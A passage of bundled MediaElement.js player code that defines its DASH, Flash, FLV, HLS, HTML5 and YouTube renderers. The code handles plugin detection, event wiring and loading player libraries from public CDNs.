originalNode.parentNode.insertBefore(node, originalNode); originalNode.autoplay = false; originalNode.style.display = 'none'; node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { node.pause(); node.style.display = 'none'; return node; }; node.show = function () { node.style.display = ''; return node; }; node.destroy = function () { if (dashPlayer !== null) { dashPlayer.reset(); } }; var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); mediaElement.promises.push(NativeDash.load({ options: options.dash, id: id })); return node; } }; _media.typeChecks.push(function (url) { return ~url.toLowerCase().indexOf('.mpd') ? 'application/dash+xml' : null; }); _renderer.renderer.add(DashNativeRenderer); },{"25":25,"26":26,"27":27,"28":28,"3":3,"7":7,"8":8}],20:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.PluginDetector = undefined; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _renderer = _dereq_(8); var _general = _dereq_(27); var _constants = _dereq_(25); var _media = _dereq_(28); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var PluginDetector = exports.PluginDetector = { plugins: [], hasPluginVersion: function hasPluginVersion(plugin, v) { var pv = PluginDetector.plugins[plugin]; v[1] = v[1] || 0; v[2] = v[2] || 0; return pv[0] > v[0] || pv[0] === v[0] && pv[1] > v[1] || pv[0] === v[0] && pv[1] === v[1] && pv[2] >= v[2]; }, addPlugin: function addPlugin(p, pluginName, mimeType, activeX, axDetect) { PluginDetector.plugins[p] = PluginDetector.detectPlugin(pluginName, mimeType, activeX, axDetect); }, detectPlugin: function detectPlugin(pluginName, mimeType, activeX, axDetect) { var version = [0, 0, 0], description = void 0, ax = void 0; if (_constants.NAV.plugins !== null && _constants.NAV.plugins !== undefined && _typeof(_constants.NAV.plugins[pluginName]) === 'object') { description = _constants.NAV.plugins[pluginName].description; if (description && !(typeof _constants.NAV.mimeTypes !== 'undefined' && _constants.NAV.mimeTypes[mimeType] && !_constants.NAV.mimeTypes[mimeType].enabledPlugin)) { version = description.replace(pluginName, '').replace(/^\s+/, '').replace(/\sr/gi, '.').split('.'); for (var i = 0, total = version.length; i < total; i++) { version[i] = parseInt(version[i].match(/\d+/), 10); } } } else if (_window2.default.ActiveXObject !== undefined) { try { ax = new ActiveXObject(activeX); if (ax) { version = axDetect(ax); } } catch (e) { } } return version; } }; PluginDetector.addPlugin('flash', 'Shockwave Flash', 'application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash', function (ax) { var version = [], d = ax.GetVariable("$version"); if (d) { d = d.split(" ")[1].split(","); version = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)]; } return version; }); var FlashMediaElementRenderer = { create: function create(mediaElement, options, mediaFiles) { var flash = {}; var isActive = false; flash.options = options; flash.id = mediaElement.id + '_' + flash.options.prefix; flash.mediaElement = mediaElement; flash.flashState = {}; flash.flashApi = null; flash.flashApiStack = []; var props = _mejs2.default.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { flash.flashState[propName] = null; var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); flash['get' + capName] = function () { if (flash.flashApi !== null) { if (typeof flash.flashApi['get_' + propName] === 'function') { var value = flash.flashApi['get_' + propName](); if (propName === 'buffered') { return { start: function start() { return 0; }, end: function end() { return value; }, length: 1 }; } return value; } else { return null; } } else { return null; } }; flash['set' + capName] = function (value) { if (propName === 'src') { value = (0, _media.absolutizeUrl)(value); } if (flash.flashApi !== null && flash.flashApi['set_' + propName] !== undefined) { try { flash.flashApi['set_' + propName](value); } catch (e) { } } else { flash.flashApiStack.push({ type: 'set', propName: propName, value: value }); } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } var methods = _mejs2.default.html5media.methods, assignMethods = function assignMethods(methodName) { flash[methodName] = function () { if (isActive) { if (flash.flashApi !== null) { if (flash.flashApi['fire_' + methodName]) { try { flash.flashApi['fire_' + methodName](); } catch (e) { } } else { } } else { flash.flashApiStack.push({ type: 'call', methodName: methodName }); } } }; }; methods.push('stop'); for (var _i = 0, _total = methods.length; _i < _total; _i++) { assignMethods(methods[_i]); } var initEvents = ['rendererready']; for (var _i2 = 0, _total2 = initEvents.length; _i2 < _total2; _i2++) { var event = (0, _general.createEvent)(initEvents[_i2], flash); mediaElement.dispatchEvent(event); } _window2.default['__ready__' + flash.id] = function () { flash.flashReady = true; flash.flashApi = _document2.default.getElementById('__' + flash.id); if (flash.flashApiStack.length) { for (var _i3 = 0, _total3 = flash.flashApiStack.length; _i3 < _total3; _i3++) { var stackItem = flash.flashApiStack[_i3]; if (stackItem.type === 'set') { var propName = stackItem.propName, capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); flash['set' + capName](stackItem.value); } else if (stackItem.type === 'call') { flash[stackItem.methodName](); } } } }; _window2.default['__event__' + flash.id] = function (eventName, message) { var event = (0, _general.createEvent)(eventName, flash); if (message) { try { event.data = JSON.parse(message); event.details.data = JSON.parse(message); } catch (e) { event.message = message; } } flash.mediaElement.dispatchEvent(event); }; flash.flashWrapper = _document2.default.createElement('div'); if (['always', 'sameDomain'].indexOf(flash.options.shimScriptAccess) === -1) { flash.options.shimScriptAccess = 'sameDomain'; } var autoplay = mediaElement.originalNode.autoplay, flashVars = ['uid=' + flash.id, 'autoplay=' + autoplay, 'allowScriptAccess=' + flash.options.shimScriptAccess, 'preload=' + (mediaElement.originalNode.getAttribute('preload') || '')], isVideo = mediaElement.originalNode !== null && mediaElement.originalNode.tagName.toLowerCase() === 'video', flashHeight = isVideo ? mediaElement.originalNode.height : 1, flashWidth = isVideo ? mediaElement.originalNode.width : 1; if (mediaElement.originalNode.getAttribute('src')) { flashVars.push('src=' + mediaElement.originalNode.getAttribute('src')); } if (flash.options.enablePseudoStreaming === true) { flashVars.push('pseudostreamstart=' + flash.options.pseudoStreamingStartQueryParam); flashVars.push('pseudostreamtype=' + flash.options.pseudoStreamingType); } if (flash.options.streamDelimiter) { flashVars.push('streamdelimiter=' + encodeURIComponent(flash.options.streamDelimiter)); } if (flash.options.proxyType) { flashVars.push('proxytype=' + flash.options.proxyType); } mediaElement.appendChild(flash.flashWrapper); mediaElement.originalNode.style.display = 'none'; var settings = []; if (_constants.IS_IE || _constants.IS_EDGE) { var specialIEContainer = _document2.default.createElement('div'); flash.flashWrapper.appendChild(specialIEContainer); if (_constants.IS_EDGE) { settings = ['type="application/x-shockwave-flash"', 'data="' + flash.options.pluginPath + flash.options.filename + '"', 'id="__' + flash.id + '"', 'width="' + flashWidth + '"', 'height="' + flashHeight + '\'"']; } else { settings = ['classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"', 'codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"', 'id="__' + flash.id + '"', 'width="' + flashWidth + '"', 'height="' + flashHeight + '"']; } if (!isVideo) { settings.push('style="clip: rect(0 0 0 0); position: absolute;"'); } specialIEContainer.outerHTML = '<object ' + settings.join(' ') + '>' + ('<param name="movie" value="' + flash.options.pluginPath + flash.options.filename + '?x=' + new Date() + '" />') + ('<param name="flashvars" value="' + flashVars.join('&') + '" />') + '<param name="quality" value="high" />' + '<param name="bgcolor" value="#000000" />' + '<param name="wmode" value="transparent" />' + ('<param name="allowScriptAccess" value="' + flash.options.shimScriptAccess + '" />') + '<param name="allowFullScreen" value="true" />' + ('<div>' + _i18n2.default.t('mejs.install-flash') + '</div>') + '</object>'; } else { settings = ['id="__' + flash.id + '"', 'name="__' + flash.id + '"', 'play="true"', 'loop="false"', 'quality="high"', 'bgcolor="#000000"', 'wmode="transparent"', 'allowScriptAccess="' + flash.options.shimScriptAccess + '"', 'allowFullScreen="true"', 'type="application/x-shockwave-flash"', 'pluginspage="//www.macromedia.com/go/getflashplayer"', 'src="' + flash.options.pluginPath + flash.options.filename + '"', 'flashvars="' + flashVars.join('&') + '"']; if (isVideo) { settings.push('width="' + flashWidth + '"'); settings.push('height="' + flashHeight + '"'); } else { settings.push('style="position: fixed; left: -9999em; top: -9999em;"'); } flash.flashWrapper.innerHTML = '<embed ' + settings.join(' ') + '>'; } flash.flashNode = flash.flashWrapper.lastChild; flash.hide = function () { isActive = false; if (isVideo) { flash.flashNode.style.display = 'none'; } }; flash.show = function () { isActive = true; if (isVideo) { flash.flashNode.style.display = ''; } }; flash.setSize = function (width, height) { flash.flashNode.style.width = width + 'px'; flash.flashNode.style.height = height + 'px'; if (flash.flashApi !== null && typeof flash.flashApi.fire_setSize === 'function') { flash.flashApi.fire_setSize(width, height); } }; flash.destroy = function () { flash.flashNode.remove(); }; if (mediaFiles && mediaFiles.length > 0) { for (var _i4 = 0, _total4 = mediaFiles.length; _i4 < _total4; _i4++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) { flash.setSrc(mediaFiles[_i4].src); break; } } } return flash; } }; var hasFlash = PluginDetector.hasPluginVersion('flash', [10, 0, 0]); if (hasFlash) { _media.typeChecks.push(function (url) { url = url.toLowerCase(); if (url.startsWith('rtmp')) { if (~url.indexOf('.mp3')) { return 'audio/rtmp'; } else { return 'video/rtmp'; } } else if (/\.og(a|g)/i.test(url)) { return 'audio/ogg'; } else if (~url.indexOf('.m3u8')) { return 'application/x-mpegURL'; } else if (~url.indexOf('.mpd')) { return 'application/dash+xml'; } else if (~url.indexOf('.flv')) { return 'video/flv'; } else { return null; } }); var FlashMediaElementVideoRenderer = { name: 'flash_video', options: { prefix: 'flash_video', filename: 'mediaelement-flash-video.swf', enablePseudoStreaming: false, pseudoStreamingStartQueryParam: 'start', pseudoStreamingType: 'byte', proxyType: '', streamDelimiter: '' }, canPlayType: function canPlayType(type) { return ~['video/mp4', 'video/rtmp', 'audio/rtmp', 'rtmp/mp4', 'audio/mp4', 'video/flv', 'video/x-flv'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementVideoRenderer); var FlashMediaElementHlsVideoRenderer = { name: 'flash_hls', options: { prefix: 'flash_hls', filename: 'mediaelement-flash-video-hls.swf' }, canPlayType: function canPlayType(type) { return ~['application/x-mpegurl', 'application/vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementHlsVideoRenderer); var FlashMediaElementMdashVideoRenderer = { name: 'flash_dash', options: { prefix: 'flash_dash', filename: 'mediaelement-flash-video-mdash.swf' }, canPlayType: function canPlayType(type) { return ~['application/dash+xml'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementMdashVideoRenderer); var FlashMediaElementAudioRenderer = { name: 'flash_audio', options: { prefix: 'flash_audio', filename: 'mediaelement-flash-audio.swf' }, canPlayType: function canPlayType(type) { return ~['audio/mp3'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementAudioRenderer); var FlashMediaElementAudioOggRenderer = { name: 'flash_audio_ogg', options: { prefix: 'flash_audio_ogg', filename: 'mediaelement-flash-audio-ogg.swf' }, canPlayType: function canPlayType(type) { return ~['audio/ogg', 'audio/oga', 'audio/ogv'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementAudioOggRenderer); } },{"2":2,"25":25,"27":27,"28":28,"3":3,"5":5,"7":7,"8":8}],21:[function(_dereq_,module,exports){ 'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(27); var _constants = _dereq_(25); var _media = _dereq_(28); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NativeFlv = { promise: null, load: function load(settings) { if (typeof flvjs !== 'undefined') { NativeFlv.promise = new Promise(function (resolve) { resolve(); }).then(function () { NativeFlv._createPlayer(settings); }); } else { settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.jsdelivr.net/npm/flv.js@latest'; NativeFlv.promise = NativeFlv.promise || (0, _dom.loadScript)(settings.options.path); NativeFlv.promise.then(function () { NativeFlv._createPlayer(settings); }); } return NativeFlv.promise; }, _createPlayer: function _createPlayer(settings) { flvjs.LoggingControl.enableDebug = settings.options.debug; flvjs.LoggingControl.enableVerbose = settings.options.debug; var player = flvjs.createPlayer(settings.options, settings.configs); _window2.default['__ready__' + settings.id](player); return player; } }; var FlvNativeRenderer = { name: 'native_flv', options: { prefix: 'native_flv', flv: { path: 'https://cdn.jsdelivr.net/npm/flv.js@latest', cors: true, debug: false } }, canPlayType: function canPlayType(type) { return _constants.HAS_MSE && ['video/x-flv', 'video/flv'].indexOf(type.toLowerCase()) > -1; }, create: function create(mediaElement, options, mediaFiles) { var originalNode = mediaElement.originalNode, id = mediaElement.id + '_' + options.prefix; var node = null, flvPlayer = null; node = originalNode.cloneNode(true); options = Object.assign(options, mediaElement.options); var props = _mejs2.default.html5media.properties, events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), attachNativeEvents = function attachNativeEvents(e) { var event = (0, _general.createEvent)(e.type, mediaElement); mediaElement.dispatchEvent(event); }, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return flvPlayer !== null ? node[propName] : null; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { if (propName === 'src') { node[propName] = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value; if (flvPlayer !== null) { var _flvOptions = {}; _flvOptions.type = 'flv'; _flvOptions.url = value; _flvOptions.cors = options.flv.cors; _flvOptions.debug = options.flv.debug; _flvOptions.path = options.flv.path; var _flvConfigs = options.flv.configs; flvPlayer.destroy(); for (var i = 0, total = events.length; i < total; i++) { node.removeEventListener(events[i], attachNativeEvents); } flvPlayer = NativeFlv._createPlayer({ options: _flvOptions, configs: _flvConfigs, id: id }); flvPlayer.attachMediaElement(node); flvPlayer.load(); } } else { node[propName] = value; } } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } _window2.default['__ready__' + id] = function (_flvPlayer) { mediaElement.flvPlayer = flvPlayer = _flvPlayer; var flvEvents = flvjs.Events, assignEvents = function assignEvents(eventName) { if (eventName === 'loadedmetadata') { flvPlayer.unload(); flvPlayer.detachMediaElement(); flvPlayer.attachMediaElement(node); flvPlayer.load(); } node.addEventListener(eventName, attachNativeEvents); }; for (var _i = 0, _total = events.length; _i < _total; _i++) { assignEvents(events[_i]); } var assignFlvEvents = function assignFlvEvents(name, data) { if (name === 'error') { var message = data[0] + ': ' + data[1] + ' ' + data[2].msg; mediaElement.generateError(message, node.src); } else { var _event = (0, _general.createEvent)(name, mediaElement); _event.data = data; mediaElement.dispatchEvent(_event); } }; var _loop = function _loop(eventType) { if (flvEvents.hasOwnProperty(eventType)) { flvPlayer.on(flvEvents[eventType], function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return assignFlvEvents(flvEvents[eventType], args); }); } }; for (var eventType in flvEvents) { _loop(eventType); } }; if (mediaFiles && mediaFiles.length > 0) { for (var _i2 = 0, _total2 = mediaFiles.length; _i2 < _total2; _i2++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i2].type)) { node.setAttribute('src', mediaFiles[_i2].src); break; } } } node.setAttribute('id', id); originalNode.parentNode.insertBefore(node, originalNode); originalNode.autoplay = false; originalNode.style.display = 'none'; var flvOptions = {}; flvOptions.type = 'flv'; flvOptions.url = node.src; flvOptions.cors = options.flv.cors; flvOptions.debug = options.flv.debug; flvOptions.path = options.flv.path; var flvConfigs = options.flv.configs; node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { if (flvPlayer !== null) { flvPlayer.pause(); } node.style.display = 'none'; return node; }; node.show = function () { node.style.display = ''; return node; }; node.destroy = function () { if (flvPlayer !== null) { flvPlayer.destroy(); } }; var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); mediaElement.promises.push(NativeFlv.load({ options: flvOptions, configs: flvConfigs, id: id })); return node; } }; _media.typeChecks.push(function (url) { return ~url.toLowerCase().indexOf('.flv') ? 'video/flv' : null; }); _renderer.renderer.add(FlvNativeRenderer); },{"25":25,"26":26,"27":27,"28":28,"3":3,"7":7,"8":8}],22:[function(_dereq_,module,exports){ 'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(27); var _constants = _dereq_(25); var _media = _dereq_(28); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NativeHls = { promise: null, load: function load(settings) { if (typeof Hls !== 'undefined') { NativeHls.promise = new Promise(function (resolve) { resolve(); }).then(function () { NativeHls._createPlayer(settings); }); } else { settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.jsdelivr.net/npm/hls.js@latest'; NativeHls.promise = NativeHls.promise || (0, _dom.loadScript)(settings.options.path); NativeHls.promise.then(function () { NativeHls._createPlayer(settings); }); } return NativeHls.promise; }, _createPlayer: function _createPlayer(settings) { var player = new Hls(settings.options); _window2.default['__ready__' + settings.id](player); return player; } }; var HlsNativeRenderer = { name: 'native_hls', options: { prefix: 'native_hls', hls: { path: 'https://cdn.jsdelivr.net/npm/hls.js@latest', autoStartLoad: false, debug: false } }, canPlayType: function canPlayType(type) { return _constants.HAS_MSE && ['application/x-mpegurl', 'application/vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()) > -1; }, create: function create(mediaElement, options, mediaFiles) { var originalNode = mediaElement.originalNode, id = mediaElement.id + '_' + options.prefix, preload = originalNode.getAttribute('preload'), autoplay = originalNode.autoplay; var hlsPlayer = null, node = null, index = 0, total = mediaFiles.length; node = originalNode.cloneNode(true); options = Object.assign(options, mediaElement.options); options.hls.autoStartLoad = preload && preload !== 'none' || autoplay; var props = _mejs2.default.html5media.properties, events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), attachNativeEvents = function attachNativeEvents(e) { var event = (0, _general.createEvent)(e.type, mediaElement); mediaElement.dispatchEvent(event); }, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return hlsPlayer !== null ? node[propName] : null; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { if (propName === 'src') { node[propName] = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value; if (hlsPlayer !== null) { hlsPlayer.destroy(); for (var i = 0, _total = events.length; i < _total; i++) { node.removeEventListener(events[i], attachNativeEvents); } hlsPlayer = NativeHls._createPlayer({ options: options.hls, id: id }); hlsPlayer.loadSource(value); hlsPlayer.attachMedia(node); } } else { node[propName] = value; } } }; }; for (var i = 0, _total2 = props.length; i < _total2; i++) { assignGettersSetters(props[i]); } _window2.default['__ready__' + id] = function (_hlsPlayer) { mediaElement.hlsPlayer = hlsPlayer = _hlsPlayer; var hlsEvents = Hls.Events, assignEvents = function assignEvents(eventName) { if (eventName === 'loadedmetadata') { var url = mediaElement.originalNode.src; hlsPlayer.detachMedia(); hlsPlayer.loadSource(url); hlsPlayer.attachMedia(node); } node.addEventListener(eventName, attachNativeEvents); }; for (var _i = 0, _total3 = events.length; _i < _total3; _i++) { assignEvents(events[_i]); } var recoverDecodingErrorDate = void 0, recoverSwapAudioCodecDate = void 0; var assignHlsEvents = function assignHlsEvents(name, data) { if (name === 'hlsError') { console.warn(data); data = data[1]; if (data.fatal) { switch (data.type) { case 'mediaError': var now = new Date().getTime(); if (!recoverDecodingErrorDate || now - recoverDecodingErrorDate > 3000) { recoverDecodingErrorDate = new Date().getTime(); hlsPlayer.recoverMediaError(); } else if (!recoverSwapAudioCodecDate || now - recoverSwapAudioCodecDate > 3000) { recoverSwapAudioCodecDate = new Date().getTime(); console.warn('Attempting to swap Audio Codec and recover from media error'); hlsPlayer.swapAudioCodec(); hlsPlayer.recoverMediaError(); } else { var message = 'Cannot recover, last media error recovery failed'; mediaElement.generateError(message, node.src); console.error(message); } break; case 'networkError': if (data.details === 'manifestLoadError') { if (index < total && mediaFiles[index + 1] !== undefined) { node.setSrc(mediaFiles[index++].src); node.load(); node.play(); } else { var _message = 'Network error'; mediaElement.generateError(_message, mediaFiles); console.error(_message); } } else { var _message2 = 'Network error'; mediaElement.generateError(_message2, mediaFiles); console.error(_message2); } break; default: hlsPlayer.destroy(); break; } return; } } var event = (0, _general.createEvent)(name, mediaElement); event.data = data; mediaElement.dispatchEvent(event); }; var _loop = function _loop(eventType) { if (hlsEvents.hasOwnProperty(eventType)) { hlsPlayer.on(hlsEvents[eventType], function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return assignHlsEvents(hlsEvents[eventType], args); }); } }; for (var eventType in hlsEvents) { _loop(eventType); } }; if (total > 0) { for (; index < total; index++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) { node.setAttribute('src', mediaFiles[index].src); break; } } } if (preload !== 'auto' && !autoplay) { node.addEventListener('play', function () { if (hlsPlayer !== null) { hlsPlayer.startLoad(); } }); node.addEventListener('pause', function () { if (hlsPlayer !== null) { hlsPlayer.stopLoad(); } }); } node.setAttribute('id', id); originalNode.parentNode.insertBefore(node, originalNode); originalNode.autoplay = false; originalNode.style.display = 'none'; node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { node.pause(); node.style.display = 'none'; return node; }; node.show = function () { node.style.display = ''; return node; }; node.destroy = function () { if (hlsPlayer !== null) { hlsPlayer.stopLoad(); hlsPlayer.destroy(); } }; var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); mediaElement.promises.push(NativeHls.load({ options: options.hls, id: id })); return node; } }; _media.typeChecks.push(function (url) { return ~url.toLowerCase().indexOf('.m3u8') ? 'application/x-mpegURL' : null; }); _renderer.renderer.add(HlsNativeRenderer); },{"25":25,"26":26,"27":27,"28":28,"3":3,"7":7,"8":8}],23:[function(_dereq_,module,exports){ 'use strict'; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(27); var _constants = _dereq_(25); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var HtmlMediaElement = { name: 'html5', options: { prefix: 'html5' }, canPlayType: function canPlayType(type) { var mediaElement = _document2.default.createElement('video'); if (_constants.IS_ANDROID && /\/mp(3|4)$/i.test(type) || ~['application/x-mpegurl', 'vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()) && _constants.SUPPORTS_NATIVE_HLS) { return 'yes'; } else if (mediaElement.canPlayType) { return mediaElement.canPlayType(type.toLowerCase()).replace(/no/, ''); } else { return ''; } }, create: function create(mediaElement, options, mediaFiles) { var id = mediaElement.id + '_' + options.prefix; var isActive = false; var node = null; if (mediaElement.originalNode === undefined || mediaElement.originalNode === null) { node = _document2.default.createElement('audio'); mediaElement.appendChild(node); } else { node = mediaElement.originalNode; } node.setAttribute('id', id); var props = _mejs2.default.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return node[propName]; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { node[propName] = value; } }; }; for (var i = 0, _total = props.length; i < _total; i++) { assignGettersSetters(props[i]); } var events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), assignEvents = function assignEvents(eventName) { node.addEventListener(eventName, function (e) { if (isActive) { var _event = (0, _general.createEvent)(e.type, e.target); mediaElement.dispatchEvent(_event); } }); }; for (var _i = 0, _total2 = events.length; _i < _total2; _i++) { assignEvents(events[_i]); } node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { isActive = false; node.style.display = 'none'; return node; }; node.show = function () { isActive = true; node.style.display = ''; return node; }; var index = 0, total = mediaFiles.length; if (total > 0) { for (; index < total; index++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) { node.setAttribute('src', mediaFiles[index].src); break; } } } node.addEventListener('error', function (e) { if (e && e.target && e.target.error && e.target.error.code === 4 && isActive) { if (index < total && mediaFiles[index + 1] !== undefined) { node.src = mediaFiles[index++].src; node.load(); node.play(); } else { mediaElement.generateError('Media error: Format(s) not supported or source(s) not found', mediaFiles); } } }); var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); return node; } }; _window2.default.HtmlMediaElement = _mejs2.default.HtmlMediaElement = HtmlMediaElement; _renderer.renderer.add(HtmlMediaElement); },{"2":2,"25":25,"27":27,"3":3,"7":7,"8":8}],24:[function(_dereq_,module,exports){ 'use strict'; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(27); var _media = _dereq_(28); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var YouTubeApi = { isIframeStarted: false, isIframeLoaded: false, iframeQueue: [], enqueueIframe: function enqueueIframe(settings) { YouTubeApi.isLoaded = typeof YT !== 'undefined' && YT.loaded; if (YouTubeApi.isLoaded) { YouTubeApi.createIframe(settings); } else { YouTubeApi.loadIframeApi(); YouTubeApi.iframeQueue.push(settings); } }, loadIframeApi: function loadIframeApi() { if (!YouTubeApi.isIframeStarted) { (0, _dom.loadScript)('https://www.youtube.com/player_api'); YouTubeApi.isIframeStarted = true; } }, iFrameReady: function iFrameReady() { YouTubeApi.isLoaded = true; YouTubeApi.isIframeLoaded = true; while (YouTubeApi.iframeQueue.length > 0) { var settings = YouTubeApi.iframeQueue.pop(); YouTubeApi.createIframe(settings); } }, createIframe: function createIframe(settings) { return new YT.Player(settings.containerId, settings); }, getYouTubeId: function getYouTubeId(url) { var youTubeId = ''; if (url.indexOf('?') > 0) { youTubeId = YouTubeApi.getYouTubeIdFromParam(url); if (youTubeId === '') { youTubeId = YouTubeApi.getYouTubeIdFromUrl(url); } } else { youTubeId = YouTubeApi.getYouTubeIdFromUrl(url); } var id = youTubeId.substring(youTubeId.lastIndexOf('/') + 1); youTubeId = id.split('?'); return youTubeId[0]; }, getYouTubeIdFromParam: function getYouTubeIdFromParam(url) { if (url === undefined || url === null || !url.trim().length) { return null; } var parts = url.split('?'), parameters = parts[1].split('&'); var youTubeId = ''; for (var i = 0, total = parameters.length; i < total; i++) { var paramParts = parameters[i].split('='); if (paramParts[0] === 'v') { youTubeId = paramParts[1]; break; } } return youTubeId; }, getYouTubeIdFromUrl: function getYouTubeIdFromUrl(url) { if (url === undefined || url === null || !url.trim().length) { return null; } var parts = url.split('?'); url = parts[0]; return url.substring(url.lastIndexOf('/') + 1); }, getYouTubeNoCookieUrl: function getYouTubeNoCookieUrl(url) { if (url === undefined || url === null || !url.trim().length || url.indexOf('//www.youtube') === -1) { return url; } var parts = url.split('/'); parts[2] = parts[2].replace('.com', '-nocookie.com'); return parts.join('/'); } }; var YouTubeIframeRenderer = { name: 'youtube_iframe', options: { prefix: 'youtube_iframe', youtube: { autoplay: 0, controls: 0, disablekb: 1, end: 0, loop: 0, modestbranding: 0, playsinline: 0, rel: 0, showinfo: 0, start: 0, iv_load_policy: 3, nocookie: false, imageQuality: null } }, canPlayType: function canPlayType(type) { return ~['video/youtube', 'video/x-youtube'].indexOf(type.toLowerCase()); }, create: function create(mediaElement, options, mediaFiles) { var youtube = {}, apiStack = [], readyState = 4; var youTubeApi = null, paused = true, ended = false, youTubeIframe = null, volume = 1; youtube.options = options; youtube.id = mediaElement.id + '_' + options.prefix; youtube.mediaElement = mediaElement; var props = _mejs2.default.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); youtube['get' + capName] = function () { 